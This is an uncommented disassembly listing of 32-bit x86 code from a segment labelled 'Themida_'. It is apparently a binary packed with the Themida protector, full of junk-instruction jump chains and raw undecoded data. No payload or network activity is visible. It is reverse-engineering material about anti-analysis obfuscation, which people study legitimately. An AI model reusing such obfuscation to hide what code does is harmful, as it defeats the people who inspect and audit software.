		dd 0FFFF9E1Dh, 4C7815Fh, 81000000h, 4EFh, 243C8700h, 3075E95Ch
		dd 0CD010000h, 81DDF759h, 0B6105CCDh, 0FDF58116h, 68B7B6F5h
		dd 7126h, 89240C89h, 59CF89E9h,	0A452E95Dh, 0B951FFFFh
		dd 0F943621h, 8B59CA29h, 0C4832404h, 4C28304h, 31241433h
		dd 0AAE92414h
		db 4Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54C80F:				; CODE XREF: Themida_:00546F65j
		sub	ebp, 1FC78135h
		and	edi, ebp
		pop	ebp
		add	edi, 0B4FE60Ah
		jmp	loc_54E330
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0A6EEE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C82E:				; CODE XREF: Themida_:00549547j
		sub	edi, 300B6EF8h
		push	dword ptr [esp]
		jmp	loc_54C912
; ---------------------------------------------------------------------------
		dd 0F5E9E189h, 0BEFFFFD2h, 209892BEh, 15EF101h,	0FF0103F9h
		dd 56592434h, 0DD68E689h, 89000028h, 10BB241Ch,	817B8950h
		dd 52791AEBh, 0A5E38153h, 0E9210A15h, 1BA1h
; ---------------------------------------------------------------------------


loc_54C874:				; CODE XREF: Themida_:00549A3Aj
		pop	ecx
		push	ebp
		mov	ebp, 21ED6DAAh
		jmp	loc_55188B
; ---------------------------------------------------------------------------
		dd 83D831ADh, 48904ECh,	53E08924h, 4EC81h, 0C890000h, 5B816824h
		dd 415964C7h, 3B92E9h, 81E38900h, 4C3h,	4C38300h, 5C241C87h
		dd 0B940E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C8B6:				; CODE XREF: Themida_:00550620j
		pop	esp
		jmp	loc_548871
; ---------------------------------------------------------------------------
		dd 5C241C87h, 5C240487h, 0DF685351h, 89000047h,	6E9240Ch
		dd 89000008h, 405E0h, 0A5E90000h, 8B00005Ah, 9FE92404h
		db 56h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54C8E7:				; CODE XREF: Themida_:0054D14Ej
		and	edx, 1501696Eh
		inc	edx
		sub	edx, 1000205Dh
		add	eax, edx
		pop	edx
		push	eax
		jmp	loc_54E366
; ---------------------------------------------------------------------------
		db 81h,	0E3h, 0F7h
		dd 511D6531h, 0E3019FB9h, 0F7D1F758h, 0F037E9D1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C912:				; CODE XREF: Themida_:0054C837j
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		dw 0AEE9h
		dd 68FFFF9Ch, 42703B08h, 81DAF75Ah, 3F2017CAh, 91C28137h
		dd 0E9B9AD5Fh, 0FFFFED3Eh, 0E9E28952h, 1D4Ch, 0C381E389h
		dd 4, 39D4E9h, 48B6600h, 4EC8124h, 89000000h, 8B542404h
		dd 0FE92404h, 5CFFFFD7h, 0E9241489h, 5E5Ah, 4BF575Bh, 81000000h
		dd 883252C3h, 56FB0125h, 883252BEh, 88EB8125h, 293FC535h
		dd 88C381F3h, 5E3FC535h, 81243C8Bh, 4C4h, 0B48AE900h, 0C483FFFFh
		dd 2EF0E904h, 89530000h, 4C381E3h, 81000000h, 4EBh, 241C8700h
		dd 2424895Ch, 4B850h, 44810000h, 56020424h, 440155AAh
		dd 0BB530424h, 55AA5602h, 8245C29h, 0FFC47AE9h,	2E8C1FFh
		dd 0FFFFFF05h, 86982DFFh, 8957D048h, 5FFE89C7h,	5827E958h
		dd 0D1F70000h, 4EC81h, 0A5E90000h, 80FFFFA3h, 835A33C3h
		dd 0C8904ECh, 81C58824h, 4ECh, 242C8900h, 54D5E9h
		db 0
; ---------------------------------------------------------------------------


loc_54CA25:				; CODE XREF: Themida_:00551D11j
		xor	ebp, [esp]
		jmp	loc_5526CB
; ---------------------------------------------------------------------------
		db 5, 8Ch, 48h
		dd 25403D45h, 60291ABAh, 12193540h, 0C60926E8h,	215D6858h
		dd 3C890000h, 2700E924h, 34FF0000h, 77E95A24h, 8F00000Ah
		dd 248B2404h, 4556E924h, 0F0210000h, 0FFB4B0E9h, 0C2815AFFh
		dd 4, 0E904C283h, 0FFFFD7BCh, 0ED81CD01h, 706A3832h, 5668E9h
		dd 2434FF00h, 0FF2434FFh, 83582434h, 895604C4h,	4C681E6h
		dd 50000000h, 36FFE9h
		db 0
; ---------------------------------------------------------------------------


loc_54CAA1:				; CODE XREF: Themida_:0054FF3Cj
		add	edx, 0B55AA88Fh
		mov	ecx, edx
		jmp	loc_550690
; ---------------------------------------------------------------------------


loc_54CAAE:				; CODE XREF: Themida_:0055268Aj
		not	eax
		jmp	loc_54EF87
; ---------------------------------------------------------------------------


loc_54CAB5:				; CODE XREF: Themida_:0054A7C8j
		mov	dh, 4Dh
		mov	ch, dh
		pop	edx
		neg	ch
		jmp	loc_5471E4
; ---------------------------------------------------------------------------
		db 5Dh,	51h, 0FFh
		dd 59042474h, 8B24048Fh, 8A682424h, 0E9000074h,	24C8h
		dd 8904EC83h, 4BB241Ch,	1000000h, 2434FFDEh, 0FFC2EBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54CAED:				; CODE XREF: Themida_:00549E59j
		sub	ecx, edx
		pop	edx
		xor	ecx, 309C6E40h
		jmp	loc_549AD6
; ---------------------------------------------------------------------------
		db 83h
		dd 1C3304C4h, 241C3124h, 8B241C33h, 0F662424h, 5166C8AFh
		dd 9ABFE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54CB16:				; CODE XREF: Themida_:00548E87j
		pop	edx
		add	edx, 4
		sub	edx, 4
		jmp	loc_55049C
; ---------------------------------------------------------------------------


loc_54CB28:				; CODE XREF: Themida_:00550C39j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_54FA10
; ---------------------------------------------------------------------------
		db 52h,	0E9h, 0BBh
		dd 59FFFFB1h, 537468h, 240C8900h, 7B768h, 242C8900h, 0F484EABDh
		dd 497C6830h, 14890000h, 0F833E924h, 2548FFFFh,	760C6FBEh
		dd 86A0E35h, 58C60154h,	1E70E9h
		db 0
; ---------------------------------------------------------------------------


loc_54CB75:				; CODE XREF: Themida_:00548B2Cj
		push	edi
		jmp	loc_54FB6B
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0CBE92434h, 5FFFFFFEh, 54E9C829h
		db 37h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54CB8B:				; CODE XREF: Themida_:0054FCA4j
		mov	ch, bl
		pop	ebx
		mov	[eax], ch
		push	dword ptr [esp]
		jmp	loc_546809
; ---------------------------------------------------------------------------


loc_54CB98:				; CODE XREF: Themida_:00551A0Ej
		sub	ebp, edx
		jmp	loc_54A97A
; ---------------------------------------------------------------------------
		db 0FEh
		dd 244486C0h, 0B27CE901h, 405FFFFh, 83000000h, 0FF5004C0h
		dd 0E9042474h, 0FFFFE05Ah, 0E904EC83h, 0FFFFC536h
; ---------------------------------------------------------------------------


loc_54CBC4:				; CODE XREF: Themida_:0054A498j
		add	esp, 4
		add	esp, 4
		add	esi, 4
		sub	esi, 2
		push	esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_54EFF6
; ---------------------------------------------------------------------------


loc_54CBEF:				; CODE XREF: Themida_:0054F5FFj
		pop	esp
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_550E4C
; ---------------------------------------------------------------------------
		dw 48Bh
aSrm		db '$ИrM',0
		align 2


loc_54CC16:				; CODE XREF: Themida_:00550639j
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	small word ptr [eax]
		jmp	loc_5465D5
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 2E5C104h, 0A4A1E951h, 0BD55FFFFh, 725D05EBh,	2733E9h
		dd 4EC8100h, 89000000h,	74FF240Ch, 94E90424h, 0B3000043h
		dd 25EB80BCh, 8001C380h, 0EB80AAE3h, 8D5E91Ch, 875F0000h
		dd 248B2404h, 80686624h, 1C89666Ah, 0B4505224h,	0ABCC8023h
		dd 0EC80DCF6h, 337BE9B7h, 0E9480000h, 37h, 182955BBh, 0EDD9E908h
		dd 0C8BFFFFh, 4C48324h,	0E5240481h, 0E95B6740h,	0FFFF992Dh
		dd 0C89665Ch, 0B60F6624h, 9C5166C8h, 0FFB60BE9h, 3EA768FFh
		dd 34E90000h, 48FFFFBDh, 1F62A32Dh, 0C2EA818Ch,	0E95A4D4Fh
		dd 0FFFF99B5h
; ---------------------------------------------------------------------------


loc_54CCD4:				; CODE XREF: Themida_:0055202Cj
		push	3F36h
		mov	[esp], ecx
		push	3C05h
		push	esp
		pop	dword ptr [esp]
		jmp	loc_551D04
; ---------------------------------------------------------------------------
		dw 0F181h
		dd 0DFF696FFh, 0FFDB51E9h, 0C4835DFFh, 77F58104h, 68353515h
		dd 51A6h, 55243489h, 0B2243481h, 0E91A850Bh, 2BE6h
; ---------------------------------------------------------------------------


loc_54CD14:				; CODE XREF: Themida_:005519B5j
		pop	edx
		add	ecx, 0FFFFFFFFh
		jmp	loc_54FF49
; ---------------------------------------------------------------------------
		dd 9CC1385Ch, 0FF98ACE9h, 876866FFh, 1C896670h,	0E2B15124h
		dd 805DF180h, 0E1C09BE9h, 0C8C18005h, 888EC180h, 0CDFCE9CFh
		dd 0EC88FFFFh, 58E22859h, 2CD9E9h, 241C8900h, 21E95666h
		db 0F4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54CD5F:				; CODE XREF: Themida_:0054EDAFj
		mov	ebx, 4
		add	eax, ebx
		pop	ebx
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_548FB4
; ---------------------------------------------------------------------------


loc_54CD74:				; CODE XREF: Themida_:0054B71Cj
		push	esi
		jmp	loc_54CDAD
; ---------------------------------------------------------------------------
		dw 0E800h
		dd 592434FFh, 0FFAD97E9h, 0F7DAF7FFh, 3048E9DAh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54CD8E:				; CODE XREF: Themida_:005510C0j
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		jmp	loc_5507AF
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 4
		dd 87000000h, 895C241Ch, 0D788241Ch, 0FFBAAFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54CDAD:				; CODE XREF: Themida_:0054CD75j
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	esi
		jmp	loc_54C66B
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 4C48324h, 1EA8C381h,	0C3817C6Ch, 2E97301Fh, 0FFB52BE9h
		dd 0A9E951FFh
		db 0CDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54CDD7:				; CODE XREF: Themida_:0054FB3Ej
		pop	ebx
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_549C92
; ---------------------------------------------------------------------------


loc_54CDE3:				; CODE XREF: Themida_:0054CF6Aj
		add	esp, 4
		and	eax, ebp
		jmp	loc_54B8C9
; ---------------------------------------------------------------------------
		dd 0EC815159h, 4, 476AE9h, 4C48100h, 0E9000000h, 1DFAh
		dd 468h, 2E95B00h
		db 25h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54CE13:				; CODE XREF: Themida_:00546CEBj
		add	ecx, 654D2C7Bh
		or	ecx, 31413B2Eh
		add	ecx, 57EF6B3Ch
		mov	edx, ecx
		pop	ecx
		add	edx, 35E2278Dh
		add	edx, esi
		sub	edx, 35E2278Dh
		pop	esi
		and	ecx, edx
		jmp	loc_551BC5
; ---------------------------------------------------------------------------
		dw 0F387h
		dd 0F387D6F7h, 0FB54EB81h, 9BE9AD15h, 81000011h, 0F781BCEDh
		dd 5DEF313Dh, 0C8E9FA01h
		db 44h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54CE5F:				; CODE XREF: Themida_:0054923Ej
		add	esp, 4
		or	eax, eax
		jz	loc_550671
		push	dword ptr [edi+28h]
		add	dword ptr [esp], 5022155Fh
		jmp	loc_54B847
; ---------------------------------------------------------------------------
		dd 0E386D4F6h, 8051EB80h, 0D8282BEBh, 3147E9h, 0DCE95400h
		dd 0BFFFFFD0h, 4, 575FFB01h, 4BFh, 1EEB8100h, 8160AD64h
		dd 291330EBh, 81FB0113h, 291330C3h, 1EC38113h, 0E960AD64h
		dd 0FFFFB3CBh, 0CC805FB4h, 9EBDE9E4h, 8B66FFFFh, 83532404h
		dd 8F5404ECh, 4832404h,	525B0424h, 9E05B4BAh, 1EA815Eh
		dd 81000000h, 6A3E95E2h, 95B85077h, 31560A04h, 0C38158C2h
		dd 548101Eh, 0F23C381h,	0D3012034h, 0F23EB81h, 36E92034h
		dd 59000008h, 0B60F66h,	0E9E68956h, 0FFFFCC4Bh,	9548D3B9h
		dd 58C1811Dh, 493D4E3Ch, 4469C181h, 51E952C4h
		db 0B6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54CF33:				; CODE XREF: Themida_:00548035j
		push	eax
		pushf
		jmp	loc_5465D5
; ---------------------------------------------------------------------------


loc_54CF3A:				; CODE XREF: Themida_:0054D726j
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_546CA3
; ---------------------------------------------------------------------------


loc_54CF45:				; CODE XREF: Themida_:0054F5B9j
		push	ecx
		mov	ecx, 226D199Ah
		sub	ecx, 0FB13034Eh
		or	ecx, 62B04AB0h
		add	ecx, 28687BE0h
		jmp	loc_550A8D
; ---------------------------------------------------------------------------


loc_54CF62:				; CODE XREF: Themida_:00546A21j
		add	esp, 4
		mov	ebp, edi
		mov	edi, [esp]
		jmp	loc_54CDE3
; ---------------------------------------------------------------------------
		db 89h
		dd 702D5FFAh, 297AC21Dh, 70B951D0h, 57AC21Dh, 270C1F2Eh
		dd 0A4F1D05h, 101E955h,	0E1860000h, 0E186D4F6h,	92DE9h
		dd 0ABE9AC00h, 83000041h, 34FF04C4h, 362DE924h,	34330000h
		dd 24343124h, 5C243433h, 0FFFF11E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54CFB9:				; CODE XREF: Themida_:0054B8D2j
		or	edx, eax
		shl	edx, 1
		push	4E14h
		mov	[esp], ebx
		push	edx
		mov	edx, esp
		jmp	loc_54E971
; ---------------------------------------------------------------------------
aYhqq		db 'YhqQ',0
		dw 0E900h
		dd 0C3Ah, 0BD555F5Ah, 373F0EF7h, 0E907EDC1h, 0FFFFD4B5h
		dd 8B247789h, 0C4832434h, 2477FF04h, 8F2414F7h,	6FC12447h
		dd 4F810524h, 3A210E24h, 246FC115h, 17ACE908h, 77FF0000h
		dd 58669D1Ch, 24041966h, 95B7E99Ch, 6855FFFFh, 6679h, 0E9242489h
		dd 29h,	42474FFh, 35CDE95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54D036:				; CODE XREF: Themida_:00550AE3j
		mov	edx, [esp]
		jmp	loc_55283F
; ---------------------------------------------------------------------------
		dw 2C8Bh
		dd 4C48324h, 3CD8E9h, 31EB8100h, 5A51E40Bh, 0FFD910E9h
		dd 240481FFh, 4, 5477E95Dh, 6EE90000h, 66FFFF95h, 0E9240C8Bh
		dd 0FFFFCBCCh, 3358C201h, 14312414h, 24143324h,	0E924248Bh
		dd 4E65h
; ---------------------------------------------------------------------------


loc_54D084:				; CODE XREF: Themida_:0054C33Fj
		pop	esp
		shr	ecx, 0Bh
		push	esi
		push	edi
		jmp	loc_54B494
; ---------------------------------------------------------------------------
		db 1
		dd 0C011E9C8h, 8B66FFFFh, 77682404h, 0E9000011h, 0FFFFF469h
; ---------------------------------------------------------------------------


loc_54D0A4:				; CODE XREF: Themida_:0054D826j
		xchg	ebp, [esp]
		pop	esp
		sub	bl, 81h
		sub	bl, al
		add	bl, 81h
		sub	esp, 4
		mov	[esp], edx
		push	ebx
		mov	bh, 5
		dec	bh
		not	bh
		sub	bh, 95h
		sub	bh, 8Ah
		mov	dh, bh
		pop	ebx
		push	dx
		neg	byte ptr [esp+1]
		pop	dx
		xor	dh, 0Ah
		add	bl, 38h
		jmp	loc_54E9EE
; ---------------------------------------------------------------------------
		db 88h,	0C1h, 88h
		dd 240C8BCBh, 81E18951h, 4C1h, 4C18100h, 87000000h, 34E9240Ch
		dd 80FFFFC9h, 0E188EFC4h, 0FB75358h, 805BF908h,	0C800B9C1h
		dd 240C8B66h, 4AC4E9h, 241C8B00h, 4C481h, 0E9590000h, 0FFFF94B5h
		dd 8B2434FFh, 7E92404h
		db 15h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54D12B:				; CODE XREF: Themida_:00548449j
		mov	eax, 47DF7A04h
		sub	eax, 47DF7A00h
		mov	edi, eax
		pop	eax
		add	eax, edi
		mov	edi, [esp]
		add	esp, 4
		push	edx
		push	1CB66C63h
		pop	edx
		dec	edx
		sub	edx, 23DA4A01h
		jmp	loc_54C8E7
; ---------------------------------------------------------------------------
		db 83h
		dd 7BE904C4h, 0FFFFFFC2h, 22E92434h, 57FFFFF9h,	253EB850h
		dd 0A6BF1769h, 291C612Dh, 0EF8158C7h, 0C480F3A7h, 97E9FB01h
		dd 68FFFFABh, 797Ch, 51241489h,	207721B9h, 63E95221h, 66FFFFDEh
		dd 81240C8Bh, 4ECh, 241C8900h, 0B3E95B54h
		db 0CBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D1A7:				; CODE XREF: Themida_:0055089Fj
		sub	esp, 4
		mov	[esp], ebx
		push	3841h
		mov	[esp], eax
		mov	eax, 1A9D2431h
		push	eax
		jmp	loc_550CE2
; ---------------------------------------------------------------------------


loc_54D1C3:				; CODE XREF: Themida_:00549A48j
		sub	ecx, 4
		jmp	loc_546B6C
; ---------------------------------------------------------------------------
		dw 83ADh
		dd 0F00207Fh, 3C8F84h, 0FCBB5300h, 8109B128h, 0BC6146E3h
		dd 0C6DBE976h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D1EA:				; CODE XREF: Themida_:00549C37j
		mov	edx, 58ED3C51h
		add	edx, 327C2094h
		and	edx, 7F7B4F26h
		not	edx
		xor	edx, 4D82239Ch
		shl	edx, 1
		jmp	loc_54A7A1
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 505BDA21h, 0FFD209E9h, 73FCBFFFh,	0F74F495Ah, 0FBEF81D7h
		dd 972AAA45h, 0C601E940h, 0D5F6FFFFh, 0E68EDD0h, 0E9000022h
		dd 0FFFFE21Ah, 68ED68h,	241C8900h, 0B19BE956h, 248BFFFFh
		dd 0BE65E924h, 9C50FFFFh, 0FF937CE9h, 9377E9FFh, 0E95DFFFFh
		dd 4DA3h, 3FE0EE81h, 0EE814B2Bh, 4F0794CAh, 295EF201h
		dd 24148BD5h, 0FFF9ADE9h, 0C0AE34FFh, 392C05E0h, 0E958C328h
		dd 196Fh, 4863E95Ch, 8B660000h,	97E92404h, 5FFFFFBEh, 8704C483h
		dd 0FDE92404h, 55FFFFD9h, 174DBE56h, 0F68155BEh, 55BE1749h
		dd 15EF589h, 242C8BEBh,	0FFA87FE9h, 6EB652FFh, 0E6D0C6FEh
		dd 80E9C680h, 0DFE95CE6h, 5A000004h, 5304C483h,	0FF94F0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54D2DD:				; CODE XREF: Themida_:00550E5Aj
		push	esp
		pop	ecx
		push	eax
		push	edx
		mov	edx, 0AB41C73h
		jmp	loc_55125C
; ---------------------------------------------------------------------------
		db 66h
		dd 9C2424D3h, 0FF92E0E9h, 4EC83FFh, 68243489h, 2B2E5EDDh
		dd 8124348Bh, 4C4h, 0BBA6E900h,	0D601FFFFh, 4EE815Ah, 33000000h
		dd 34312434h, 24343324h, 2E0CE95Ch, 58540000h, 405h, 4E88300h
		dd 5C240487h, 89243C89h, 7BA868E7h, 2C890000h, 62B6BD24h
		dd 0ED81254Fh, 254F62B2h, 535DEF01h, 0E4696EBBh, 94C38151h
		dd 29AE1B96h, 241C8BDFh, 4C481h, 3C330000h, 243C3124h
		dd 8B243C33h, 89662424h, 28E92404h, 66FFFFA7h, 0AAE9C329h
		dd 0FF000044h, 52582434h, 24148B54h, 4C481h, 0DE90000h
		db 35h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54D397:				; CODE XREF: Themida_:00548C02j
		pop	edx
		add	ebx, 55965156h
		jmp	loc_549A3F
; ---------------------------------------------------------------------------


loc_54D3A3:				; CODE XREF: Themida_:0054F56Dj
		sub	eax, esi
		pop	esi
		jmp	loc_54E044
; ---------------------------------------------------------------------------
		db 1
		dd 5CC405D8h, 4DE955B1h, 81000042h, 4C6h, 2C68300h, 5C243487h
		dd 4EC81h, 0C890000h, 0E982B524h, 3F13h, 0C5C3815Bh, 5A58A83Fh
		dd 0FFDE03E9h, 246C8AFFh, 247C8804h, 241C8B04h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		xchg	bl, ch
		xchg	al, bl
		not	al
		xchg	al, bl
		xchg	bl, ch
		jmp	loc_5504AE
; ---------------------------------------------------------------------------
		db 0B8h, 0C5h, 64h
		dd 432D3063h, 0F779A72Ah, 3A8605D8h, 0C701B6BCh, 4C78158h
		dd 87000000h, 7FE9243Ch, 81FFFFE4h, 0F8069CF1h,	2BC18177h
		dd 813F9850h, 0ED7614F1h, 7FE98100h, 0E99F84B8h, 319Bh
		dd 0A8E9CB29h, 54FFFFFAh, 0E957555Ah, 42DAh
; ---------------------------------------------------------------------------


loc_54D470:				; CODE XREF: Themida_:00548708j
		pop	esi
		jmp	loc_54EFDA
; ---------------------------------------------------------------------------
		dw 0F5Ch
		dd 9C51C8AFh, 0FF9154E9h, 5EF001FFh, 452DD829h,	5273356Eh
		dd 46782FBAh, 0FFD02922h, 86E92434h
		db 0CAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D49B:				; CODE XREF: Themida_:0054AD7Cj
		pop	edi
		jmp	loc_55217B
; ---------------------------------------------------------------------------
		db 68h,	5Bh, 22h
		dd 0C890000h, 63316824h, 24890000h, 0E338E924h,	248BFFFFh
		dd 0AE93E924h, 0D388FFFFh, 0DA88525Ah, 5A385788h, 709E95Bh
		dd 54520000h, 4E57E95Ah, 0D15D0000h, 8EED81EDh,	53DA110Ch
		dd 8950EB89h, 2757E9D8h, 0D9F70000h, 3A7AE9h
		db 0
; ---------------------------------------------------------------------------


loc_54D4F1:				; CODE XREF: Themida_:0054D68Cj
		pop	eax
		mov	edx, [esp]
		add	esp, 4
		inc	ebp
		push	eax
		jmp	loc_54842C
; ---------------------------------------------------------------------------
		dw 0FB29h
		dd 487535Fh, 87D0F724h,	4EE92404h, 83000042h, 8B042404h
		dd 0C481243Ch, 4, 4C781h, 21E90000h, 0ACFFFFC0h, 9C68D830h
		dd 89000001h, 9FE9241Ch, 30FFFFDBh, 535158C3h, 0DD88E388h
		dd 88DC885Bh, 1093E9EBh, 8B660000h, 8956240Ch, 4C681E6h
		dd 83000000h, 58E904EEh
		db 0BEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D563:				; CODE XREF: Themida_:0054A0EDj
		add	ecx, 7A33C40h
		add	ecx, eax
		sub	ecx, 7A33C40h
		pop	eax
		add	ecx, 1EC526CDh
		add	eax, 0C000AB3h
		jmp	loc_54F55B
; ---------------------------------------------------------------------------
		dw 4EE9h
		dd 8BFFFF90h, 6EE92424h
		db 8, 2	dup(0)
; ---------------------------------------------------------------------------


loc_54D58F:				; CODE XREF: Themida_:0054A374j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	ebx
		jmp	loc_552720
; ---------------------------------------------------------------------------


loc_54D59E:				; CODE XREF: Themida_:0054D9ACj
		mov	esi, [esp]
		add	esp, 4
		push	5A7Ch
		jmp	loc_5497D7
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 0C7h
		dd 8B051C69h, 0C4812404h, 4, 8324048Bh,	0C32904C4h, 0FFED9CE9h
		dd 8BDE01FFh, 0C483241Ch, 4EE95504h
		db 12h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54D5DB:				; CODE XREF: Themida_:00549C4Aj
		pop	dword ptr [esp]
		pop	esp
		sub	eax, 7BFA255Eh
		sub	eax, esi
		add	eax, 7BFA255Eh
		jmp	loc_54BFE2
; ---------------------------------------------------------------------------
		dd 6388C681h, 0C6817BE6h, 3B167BC4h, 24348758h,	0B83E9h
		dd 0B5FBA00h, 0D1216D4Fh, 52F1815Ah, 8976762Ah,	240C8BCDh
		dd 4C481h, 0B9510000h, 45A458A2h, 5259CD31h, 51208ABAh
		dd 9EA5E92Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D632:				; CODE XREF: Themida_:0054BCB1j
		mov	edx, [esp]
		jmp	loc_54B83F
; ---------------------------------------------------------------------------


loc_54D63A:				; CODE XREF: Themida_:00548CDEj
		pop	edx
		or	esi, 1DE43D58h
		shr	esi, 8
		sub	esi, 5E1E62C3h
		jmp	loc_54C52C
; ---------------------------------------------------------------------------


loc_54D64F:				; CODE XREF: Themida_:00547483j
		mov	[esp], ebx
		push	edx
		mov	edx, 1EFA7003h
		mov	ebx, edx
		pop	edx
		push	7021h
		mov	[esp], esi
		jmp	loc_551C4B
; ---------------------------------------------------------------------------
		dd 0E904ECC0h, 2154h, 0A2E9D131h
		db 0BCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D677:				; CODE XREF: Themida_:005509B5j
		mov	[esp], ebp
		push	edx
		push	72680B56h
		pop	edx
		add	edx, 0C1C31F16h
		push	eax
		mov	eax, edx
		mov	ebp, eax
		jmp	loc_54D4F1
; ---------------------------------------------------------------------------


loc_54D691:				; CODE XREF: Themida_:00546618j
		push	ecx
		jmp	loc_548807
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF8F39h, 3487595Bh, 89515C24h, 4C181E1h, 81000000h
		dd 4C1h, 240C8700h, 68F9F75Ch, 1B77h, 0E9241489h, 200Fh
; ---------------------------------------------------------------------------


loc_54D6C4:				; CODE XREF: Themida_:0054BB25j
		pop	dword ptr [esp]
		push	edx
		mov	edx, 4
		add	[esp+4], edx
		jmp	loc_5526EB
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0EC812404h, 4, 89240489h, 405E0h, 52560000h,	936BA1BAh
		dd 10685239h, 5A331154h, 0BA71F281h, 0E952FC59h, 0FFFFD34Fh
		dd 8B24048Fh, 9AE92424h
		db 25h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54D70F:				; CODE XREF: Themida_:0054FEADj
		sub	bl, ah
		pop	eax
		mov	ecx, [esp]
		add	esp, 4
		add	bl, al
		jmp	loc_54BDEC
; ---------------------------------------------------------------------------


loc_54D71F:				; CODE XREF: Themida_:00548AA6j
		pop	esi
		add	esi, 4
		jmp	loc_54CF3A
; ---------------------------------------------------------------------------
		db 87h
		dd 0FF5C2434h, 0E9582434h, 0FFFFC4D5h, 2324C681h, 0CE011474h
		dd 2A1FE9h, 1EEB8100h, 8B054810h
		db 14h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_5472B6
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4, 5C241C87h, 10685152h, 59283B67h, 0FFFD7DE9h, 0D0F681FFh
		dd 1598937h, 88E95EF0h,	89FFFFCDh, 0F9FDE9E3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D782:				; CODE XREF: Themida_:00551BD0j
		push	0CB0h
		mov	[esp], ebx
		mov	ebx, 45722C6Ch
		mov	edi, ebx
		pop	ebx
		add	ebx, 7A23410Ch
		add	ebx, edi
		sub	esp, 4
		jmp	loc_54701E
; ---------------------------------------------------------------------------
		db 89h,	0E3h, 81h
		dd 4C3h, 0CCB6E900h, 0C6FEFFFFh, 287AC680h, 8E95AF3h, 83000024h
		dd 1C8704C4h, 4015C24h,	0FDE99C24h
		db 39h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54D7CF:				; CODE XREF: Themida_:00551802j
		push	610C7AECh
		pop	esi
		mov	edx, 1A132A1Fh
		dec	edx
		jmp	loc_552668
; ---------------------------------------------------------------------------
		dd 8071C480h, 0DFE967C4h, 0FFFFFFE8h, 0C8B2434h, 4C48124h
		dd 0E9000000h, 19F8h, 0EDE9F289h, 87000044h, 0B6EB81FBh
		dd 8992B18Eh, 60E95BDDh, 66000026h
		db 8Bh,	4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 2
		jmp	loc_54D0A4
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0F58106E5h, 41EC1F44h, 0FFB190E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54D839:				; CODE XREF: Themida_:00551F1Fj
		mov	eax, 24h
		add	eax, edi
		jmp	loc_547FEF
; ---------------------------------------------------------------------------
aI_1		db '┴<$©',0
		align 4
		dd 87DF2900h, 0C3815FFBh, 17EA7E6Dh, 56C38143h,	8133C104h
		dd 30045EEBh, 7EB8134h,	81B98323h, 1303AFEEh, 81DE2906h
		dd 1303AFC6h, 0FE1EE906h, 815AFFFFh, 7C15B1F7h,	4FF78100h
		dd 1EE3E33h, 4547E9F8h,	0F6810000h, 0AF7CCF0Bh,	0E95EF701h
		dd 0FFFFB951h, 405h, 40500h, 4870000h, 0D8295C24h, 0AE701C05h
